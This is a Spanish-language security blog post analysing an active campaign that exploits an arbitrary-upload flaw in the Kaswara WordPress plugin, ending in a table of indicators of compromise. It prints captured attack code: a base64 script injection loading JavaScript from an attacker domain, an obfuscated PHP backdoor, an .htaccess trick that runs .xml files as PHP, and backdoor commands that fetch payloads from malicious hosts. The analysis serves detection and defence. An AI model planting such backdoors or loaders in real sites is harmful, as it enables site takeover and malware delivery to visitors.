Vulnerable Kaswara Modern WPBakery Page Builder Addons Plugin siendo explotado en la naturaleza
Publicado: 2021-06-08El 20 de abril de 2021, nuestros amigos de WPScan informaron una vulnerabilidad grave en Kaswara Modern VC Addons, también conocidos como Kaswara Modern WPBakery Page Builder Addons. Ya no está disponible en Codecanyon/Envato, lo que significa que si tiene esto en ejecución, debe elegir una alternativa.
Esta vulnerabilidad permite a los usuarios no autenticados cargar archivos arbitrarios en el directorio de iconos del complemento (./wp-content/uploads/kaswara/icons). Este es el primer indicador de compromiso (IOC) que nuestros amigos de WPScan compartieron con nosotros en su informe.
La capacidad de cargar archivos arbitrarios en un sitio web le da al malhechor un control total sobre el sitio, lo que dificulta definir la carga útil final de esta infección; por lo tanto, le mostraremos todo lo que encontramos hasta ahora (nos dejamos llevar un poco por la investigación, así que siéntase libre de saltar a la sección del COI si no quiere leer).
Inyección de base de datos, aplicaciones falsas de Android y otras puertas traseras
Gracias a nuestro amigo Denis Sinegubko de Sucuri por señalar el seguimiento de inyección de base de datos utilizado con este ataque.
Los malos actores actualizarían la opción 'kaswara-customJS' para agregar un fragmento malicioso arbitrario de código Javascript. Aquí hay un ejemplo que encontramos:
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');
Esta cadena codificada en base64 se traduce en:
var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);
Y como suele suceder con este tipo de secuencia de comandos, cargará en cadena una serie de otros fragmentos de código Javascript, y la carga útil final será una publicidad maliciosa o un kit de explotación. Esto es muy similar a lo que informó Wordfence aquí.
En este caso, el script muere en hxxp://double-clickd[.]com/ y no carga ningún contenido incorrecto. Encontré Javascript sospechoso llamando a este sitio desde principios de 2020 y la gente ya lo ha estado bloqueando desde 2018.
Aplicaciones falsas cargadas en el sitio
Las 40 aplicaciones de Android encontradas en los sitios web que examinamos eran versiones falsas de diferentes aplicaciones, como AliPay, PayPal, Correos, DHL y muchas otras, que afortunadamente estaban siendo detectadas por los proveedores de antivirus más populares según este análisis de VirusTotal.

No verifiqué las intenciones de la aplicación, pero una revisión rápida de los permisos que solicita puede darnos una idea de lo que podría hacer:
- android.permiso.WRITE_SMS
- android.permiso.RECEIVE_SMS
- android.permission.FOREGROUND_SERVICE
- android.permission.KILL_BACKGROUND_PROCESSES
- android.permiso.LEER_CONTACTOS
- android.permiso.READ_PHONE_STATE
- android.permiso.READ_SMS
- android.permiso.ACCESS_NETWORK_STATE
- android.permission.QUERY_ALL_PACKAGES
- android.permiso.REQUEST_IGNORE_BATTERY_OPTIMIZACIONES
- android.permiso.INTERNET
- android.permiso.SEND_SMS
- android.permiso.CALL_PHONE
- android.permiso.WAKE_LOCK
- android.permiso.REQUEST_DELETE_PACKAGES
Sin embargo, esos archivos no se cargan de inmediato utilizando el exploit Kaswara. Después de que el sitio se ve comprometido, los atacantes cargarán otras herramientas primero para controlar completamente el sitio.
Archivos subidos
También se encontraron algunas puertas traseras y otro malware en sitios web comprometidos por esta vulnerabilidad. Compartiré un análisis rápido de los más populares e interesantes en esta publicación. Sin embargo, quiero centrarme primero en el más complejo.
Redirigir y aplicaciones falsas
Las aplicaciones falsas que encontré en varios sitios comprometidos no se cargaron al explotar la vulnerabilidad de Kaswara. Se cargan en el sitio mediante una herramienta de piratería multifunción, que permite al atacante cargar algún código remoto (al proporcionar una URL o una cadena) y redirigir al usuario a un sitio malicioso.
El archivo se puede identificar fácilmente por la presencia de esta cadena: base64_decode('MTIz');error_reporting(0);
función
Curiosamente, aleatoriza todo lo demás menos esto.
El malware está en una sola línea, lo que también es un IOC interesante si está buscando este tipo de anomalía en el código.

Para que sea más fácil de entender, decodifiqué la mayor parte del código, renombré las funciones interesantes y embellecí el código. El malware incluye 6 funciones diferentes, y 5 de ellas se basan en los valores pasados en la $_GET['ts']
. Para este documento, consideremos una de las muchas instancias que encontré: c.php
.

/c.php?ts=kt
Esto no hace nada y obligará al sitio a devolver un error 500 (más adelante en el código).
/c.php?ts=1
Cambia el valor del indicador $q1a
a verdadero para realizar una validación de código y enviar un mensaje de OK al atacante.
En este caso, el sitio remoto responde: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Código”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef
Escribe un archivo en el servidor con el código proporcionado por el contenido de $_GET["v"]
siempre que $_GET["p"]
sea la suma de comprobación SHA1 de 123 (¿recuerda el primer IOC de base64_decode('MTIz')
? esto es esa suma de comprobación).

/c.php?ts=tt
Escribe 5 MB de "-" en el servidor, probablemente usado para probar si la función de carga funcionará en el servidor.

/c.php?ts=dwm&h=HASH1,HASH2
Cuando el malware recibe esta solicitud, realiza una prueba para verificar si los archivos cargados se escribieron correctamente en el servidor. Sus hashes MD5 deben conocerse y se envían a $_GET['h']
como valores separados por comas.

/c.php?ts=dw&h=hash&l=URL_como_CSV
Descarga un archivo de una serie de sitios web de terceros y lo guarda en el servidor nombrándolo según los últimos 12 caracteres del md5 del archivo descargado.
Esta es la función que se utiliza para cargar aplicaciones falsas en el servidor.
Aquí hay un ejemplo de la solicitud para descargar archivos maliciosos /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Redirección de acceso
Si se seleccionó la opción kt
o ninguna opción, el código procede a la redirección, que se logra solicitando un blob JSON con los datos necesarios. Luego procede a redirigir al visitante utilizando la función de encabezado.

La respuesta es así: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}
La función para ejecutar una solicitud cURL con los parámetros necesarios es esta: Nada especial...
Y se puede traducir a esta solicitud cURL:
curl -X POST hxxp://papass[.]ru/click_api/v3 \
-H 'X-Forwarded-For: 200.171.221.1' \
-H 'Accept-Language: *' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
-d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'
La URL final es, hasta donde pude probar, aleatoria, pero comparte la misma característica de ser una página falsa para un servicio o aplicación popular.

wp-content/uploads/kaswara/icons/16/javas.xml y wp-content/uploads/kaswara/icons/16/.htaccess
Un archivo XML generalmente no se marca como una amenaza potencial, pero en este caso, tenemos un archivo .htaccess especialmente diseñado que cambia la forma en que el servidor web lo ve:
Order Deny,Allow
Allow from all
<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
AddHandler application/x-httpd-php .xml .pdf
AddType application/x-httpd-php .xml .pdf
# ---
SetHandler application/x-httpd-php
ForceType application/x-httpd-php
# ---
php_value engine 1
# ---
Order Deny,Allow
Allow from all
</FilesMatch>
De hecho, le dice a Apache que entienda cualquier archivo javas, home o menús con xml, php o pdf como un archivo PHP para ser procesado y ejecutado en consecuencia. Por lo tanto, cualquiera de esos archivos presentes en la misma estructura de directorios que este .htaccess será sospechoso.

El archivo javas.xml es el mismo que otros archivos maliciosos cargados en el sitio. Descubrí que la diferencia es que algunos tienen una o dos líneas en blanco al final del archivo, lo que hace que el hashing tradicional sea un poco más complicado.
<?php
$LnWYZK ="\163"."\164" ."\162\137\162\157" . "\164" . ( 279 - 266) ; if( !empty ( $ { $LnWYZK
("\137" . "\103\102\106" . "\107")} ) ) { $nNZph =$LnWYZK ( "\172". "\161". (4334
-4329 ) ) ; $ouQLkV = $LnWYZK ( "\157\156" . "\146" . "\162" . ( 9680 - 9616) . "\137"
. "\161" . "\162\160\142\161\162" ) ; $VNfzSD =$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"
. "\147\166\142\141" ); foreach ($ { $LnWYZK( "\137". "\103" . "\102" . "\106" . "\107"
) } as $IKRDzf => $NIvHUr )( $nNZph ( $IKRDzf ) === "c" . (2668 - 2626 ) .
"\145\141" ."\71" . "\67" ."\71\145\144" . "\71\70\62" . "\143\60" . (314406 -51163 ) . "\60"
. "\145" . "\71" . "\145" . "\71" . "\70" . "\141" . "\66" . "\66" . "\144" . ( 9786 -
9780 ) && $QZCMY = $VNfzSD( "" , $ouQLkV ( $NIvHUr) ) ) ?$QZCMY () : " "
; }
El código malicioso se ofusca utilizando cadenas codificadas str_rot13 y base64. También utiliza valores hexadecimales y operaciones matemáticas para ocultar un poco más las cadenas. Se desconoce la carga útil final, ya que creará una función basada en los valores de una solicitud POST. Sin embargo, la carga útil parece ser la misma cada vez, ya que se basa en una verificación md5 antes de crearla (c42ea979ed982c02632430e9e98a66d6 es el hash md5).
Conclusión
Dado que esta es una campaña activa, al momento de escribir esta publicación, encontramos más y más ejemplos de malware diferentes que se lanzan en los sitios afectados. Algunas son solo variaciones de lo que tenemos aquí, mientras que otras son lo suficientemente interesantes para un análisis más profundo. Busque algunas publicaciones más pequeñas próximamente para explorar algunos de estos otros ejemplos.
Esto ilustra la importancia de tener sus extensiones actualizadas con las últimas correcciones de seguridad; si los desarrolladores no publican las correcciones de manera oportuna o se eliminan del repositorio de WordPress.org (u otros mercados), le recomendamos encarecidamente que busque una alternativa más segura.
Si le preocupa el malware y la vulnerabilidad de su sitio, consulte las funciones de seguridad de Jetpack. Jetpack Security proporciona seguridad completa y fácil de usar para el sitio de WordPress, que incluye copias de seguridad, escaneo de malware y protección contra correo no deseado.
Indicadores de compromiso
Aquí encontrará la lista completa de todos los IOC que identificamos:
Hachís (SHA-1) | Sendero | Descripción de la amenaza |
754ee56344b190a7240732eabd43ef8f2e8bace9 | ./2f31eab3b335 | Aplicación de Android falsa |
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 | ./28052809bdd7 | Aplicación de Android falsa |
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd | ./ce52e434cded | Aplicación de Android falsa |
b354b2193e13956747cf3cf1268caaa9ae9601a0 | ./c016456e66cd | Aplicación de Android falsa |
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 | ./5d64d12229cf | Aplicación de Android falsa |
886ce65890fb467f8843ba4de782cb65966ef801 | ./47e3bdf4ac71 | Aplicación de Android falsa |
e2314e2de6e12aa6a600fbc538d75c37b7651b7b | ./026ec4ebebfe | Aplicación de Android falsa |
970a29c4322e70ac820f181ff64e9089b6ce69ca | ./5610ec2e788c | Aplicación de Android falsa |
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 | ./9be9954a7c0a | Aplicación de Android falsa |
423d83a87a3833440f6b810967795876b83b7a90 | ./34b0ea9d688e | Aplicación de Android falsa |
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 | ./7986aa5f641b | Aplicación de Android falsa |
f1a3f3ffa13a98e75da208aa151910052a2893f6 | ./648cabbe0afa | Aplicación de Android falsa |
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 | ./20f9849711cc | Aplicación de Android falsa |
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 | ./75002db259ea | Aplicación de Android falsa |
8a2cb8808b11c7d24a5111501aed3e4494e4b292 | ./0c7e4e6a39eb | Aplicación de Android falsa |
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 | ./7237cd011f42 | Aplicación de Android falsa |
f210df00ee1978fc3eda3bc5759d2f7627950c20 | ./3186fb436dae | Aplicación de Android falsa |
b9c2dc421010fb1f273ae40f176da4854830e6b8 | ./04d2e95f9573 | Aplicación de Android falsa |
8484f4bcba9a8ad5f2a451ee8a541929d80400cc | ./34b67b93da5e | Aplicación de Android falsa |
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 | ./502ba128d12c | Aplicación de Android falsa |
eb41990973aa178d156a83050d34ad9831f66567 | ./2501a5736f6e | Aplicación de Android falsa |
814178f5442be9e748769d61342e33b66ae119f6 | ./ddb83c37197f | Aplicación de Android falsa |
edc53993d4f37286985374f6ebbe29815c42b61c | ./2e0ed75c116b | Aplicación de Android falsa |
6c014dca61b1cd3e6981a731808317d7e931fc94 | ./5f6ec9795436 | Aplicación de Android falsa |
295d49d596b5d062de7d52548ded91284b67ef6a | ./7ed8c17a7cd7 | Aplicación de Android falsa |
c83b20deb16bb1d47a6137b99b7230d707b2a1dc | ./4b30e0221c16 | Aplicación de Android falsa |
6c709124972f6506bd7562ebe4b2567e7dfb7b75 | ./0faa25f73e3c | Aplicación de Android falsa |
816a5ad37b5e1bf7e069969f10f0af41d4ba492f | ./a64122f493dc | Aplicación de Android falsa |
a04651dd95f74a074150bcfe7f6535b0542c8f63 | ./3980315c7daa | Aplicación de Android falsa |
9d9c89268e5158f93b3b0accb387314133d5e719 | ./da15f8061ab2 | Aplicación de Android falsa |
ce8dfe115d9546197d57c9cc9f93abb513aadf4a | ./715b3f4ed70d | Aplicación de Android falsa |
2b61271653b8bd82016ce743cabca8c48444f2c8 | ./f8c2f1514938 | Aplicación de Android falsa |
1d8f259a424c2f7b6441b7ab568623ef762a5325 | ./ea40ee4cea57 | Aplicación de Android falsa |
21f070e33da3a574526817eede699798e59971c1 | ./73b6daad56b6 | Aplicación de Android falsa |
de364006dc140251a90adf8ddfd23b00d4c494c5 | ./a70ce1c2d003 | Aplicación de Android falsa |
1c0bd522cb786e8697bb907f8771c66d991d672c | ./4c63cfe07251 | Aplicación de Android falsa |
a36c3667be58efa50441418b58b5487d873b5d63 | ./067fd1c69444 | Aplicación de Android falsa |
8c21c99670e9158f12ac88feba2e87aaa93b41f0 | ./57fd16f4719d | Aplicación de Android falsa |
31285841768b43a5973b268df2a761055f25b25f | ./14834dab2dd7 | Aplicación de Android falsa |
d3ee06b4c26f7c59b6248f50c8d272e002180d7a | ./28b655b495a9 | Aplicación de Android falsa |
8639df09b4ec97c084ed2be1a914b540eb8ab29e | ./c.php | Malware descartado |
95217d8c55b9a83aea2e7d030388daba1e49e27e | ./medovq.php | Malware descartado |
2831ea2f80e71f07c408133986cca2558106b9fc | /wp-content/uploads/kaswara/icons/kntl/img.php | Cargador de archivos PHP |
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 | wp-content/uploads/kaswara/icons/kntl/cc.php | Malware descartado |
da39a3ee5e6b4b0d3255bfef95601890afd80709 | wp-content/uploads/kaswara/icons/16/icons.php | Malware de ejecución remota de código |
d51366d5062e7fd4d1422a59e75b585053643549 | wp-content/uploads/kaswara/icons/brt/t.php | Malware descartado |
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 | ./wp-content/siteindex.php | Malware descartado |
7464d78fd5022a54203c2c63b80096ce96932422 | ./wp-content/uploads/kaswara/fonts_icon/test2/index.php | Malware descartado |
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 | ./wp-content/uploads/kaswara/fonts_icon/test3/index.php | Malware descartado |
486ea7a58e28d9f112eb566711d0d8b594f6b238 | ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip | Malware descartado |
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 | ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip | Malware descartado |
5dd9180835cfbc85e56f25a71977a6fc6a256b35 | ./wp-content/themes/adindex.php | Malware descartado |
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc | ./wp-booking.php | Malware descartado |
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 | ./iconos/iconos.php | Malware de ejecución remota de código |
f7c7fc098575895d9e27b04108ee481b84285aaf | ./icons/yrecyt.php | Malware descartado |
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 | ./xeh02b.php o ./wp-content/uploads/xeh02b.php | Malware descartado |
64e1b82b8e1fae20fa846b0003c877bc454c00b8 | ./icons/pewegy.php | Malware descartado |
1926459cbe6f3fae524d5c1aa966a023b9def873 | ./iconos/iconos.php | Malware de ejecución remota de código |
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 | ./wp-craft/scr.php | Malware descartado |
wp-content/uploads/kaswara/icons/16/javas.xml | Malware de ejecución remota de código | |
– | smurfetta.ru | Dominio malicioso |
http://papass.ru | Dominio malicioso |